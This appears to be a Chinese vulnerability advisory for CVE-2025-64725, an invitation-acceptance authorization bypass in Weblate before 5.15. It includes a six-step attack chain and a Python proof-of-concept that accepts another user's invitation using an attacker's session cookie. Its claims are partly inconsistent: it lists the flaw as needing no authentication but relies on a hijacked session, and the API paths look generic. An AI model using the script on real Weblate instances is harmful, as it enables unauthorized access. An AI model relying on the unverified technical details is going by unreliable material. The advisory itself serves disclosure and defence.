IPBUF安全漏洞报告
English
CVE-2025-64725 CVSS 9.8 严重

CVE-2025-64725 Weblate邀请接受权限绕过漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-64725
漏洞类型
访问控制绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Weblate

相关标签

访问控制绕过身份验证绕过Weblate权限提升会话安全CVE-2025-64725

漏洞概述

CVE-2025-64725是Weblate项目中的一个高危安全漏洞,CVSS评分高达9.8分(严重级别)。该漏洞存在于Weblate 5.15之前的版本中,主要问题是系统允许攻击者接受由其他用户打开的邀请。具体而言,当一个用户打开邀请页面但未完成接受操作时,攻击者可以通过某种方式(如会话劫持、CSRF或直接利用未授权的会话)来代替该用户接受邀请,从而获得不应有的访问权限或权限提升。此漏洞影响了Weblate的访问控制和身份验证机制,属于严重的权限管理缺陷。由于无需任何认证即可利用,且对机密性、完整性和可用性都造成严重影响,建议所有使用受影响版本的用户立即升级到5.15或更高版本。

技术细节

Weblate在处理邀请接受逻辑时存在访问控制缺陷。具体问题在于:系统未能正确验证当前会话用户与邀请接收者的一致性。当用户A打开邀请页面后,如果用户A的会话被攻击者获取或通过其他方式(如CSRF攻击),攻击者可以代替用户A接受该邀请。漏洞产生的根本原因是Weblate在邀请接受流程中缺少对用户身份的强制验证,允许任意会话用户接受任意有效邀请。攻击者可以利用此漏洞:(1) 劫持或利用目标用户的会话;(2) 构造恶意请求代替目标用户接受邀请;(3) 获取目标用户应有的权限或访问敏感数据。修复方案在5.15版本中增加了对邀请接收者的身份验证,确保只有被邀请的用户才能接受邀请。技术实现上,需要在邀请接受接口处增加当前会话用户与邀请目标的匹配校验。

攻击链分析

STEP 1
步骤1
目标用户登录Weblate并打开邀请页面,此时邀请处于待接受状态
STEP 2
步骤2
攻击者获取目标用户的会话令牌(通过XSS、会话劫持或其他方式)
STEP 3
步骤3
攻击者使用目标用户的会话或构造恶意请求访问邀请接受API端点
STEP 4
步骤4
由于系统未正确验证当前用户与邀请接收者的一致性,攻击请求成功
STEP 5
步骤5
邀请被成功接受,攻击者获得目标用户应有的访问权限或权限提升
STEP 6
步骤6
攻击者利用获得的权限访问敏感数据、修改配置或执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-64725 PoC - Weblate Invitation Acceptance Authorization Bypass # This PoC demonstrates how an attacker can accept an invitation opened by another user TARGET_URL = "https://vulnerable-weblate-instance.com" ATTACKER_SESSION = "attacker_session_cookie_here" TARGET_INVITATION_ID = "invitation_id_to_accept" def exploit_invitation_bypass(): """ Exploit Weblate CVE-2025-64725 Attack scenario: Accept invitation opened by another user without proper authorization """ headers = { "Cookie": f"sessionid={ATTACKER_SESSION}", "Content-Type": "application/json", "X-CSRFToken": "csrf_token_here" } # Step 1: Get the invitation details (opened by target user) invitation_url = f"{TARGET_URL}/api/invitations/{TARGET_INVITATION_ID}/" response = requests.get(invitation_url, headers=headers) if response.status_code != 200: print(f"[-] Failed to access invitation: {response.status_code}") return False invitation_data = response.json() print(f"[*] Invitation details: {invitation_data}") # Step 2: Accept the invitation using attacker's session # The vulnerability allows accepting invitations opened by other users accept_url = f"{TARGET_URL}/api/invitations/{TARGET_INVITATION_ID}/accept/" accept_response = requests.post(accept_url, headers=headers, json={}) if accept_response.status_code in [200, 201]: print("[+] Successfully accepted invitation!") print("[*] Attacker now has access to resources intended for target user") return True else: print(f"[-] Failed to accept invitation: {accept_response.status_code}") return False def main(): if len(sys.argv) < 4: print("Usage: python cve_2025_64725_poc.py <target_url> <session_cookie> <invitation_id>") sys.exit(1) global TARGET_URL, ATTACKER_SESSION, TARGET_INVITATION_ID TARGET_URL = sys.argv[1] ATTACKER_SESSION = sys.argv[2] TARGET_INVITATION_ID = sys.argv[3] print(f"[*] Exploiting CVE-2025-64725 on {TARGET_URL}") exploit_invitation_bypass() if __name__ == "__main__": main()

影响范围

Weblate < 5.15

防御指南

临时缓解措施
作为临时缓解措施,用户应避免在邀请打开的情况下无人看管地离开Weblate会话。同时建议启用Weblate的会话管理功能,定期清理活跃会话,并监控异常访问行为。在升级到修复版本之前,管理员应审查现有邀请并撤销可能存在风险的邀请。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表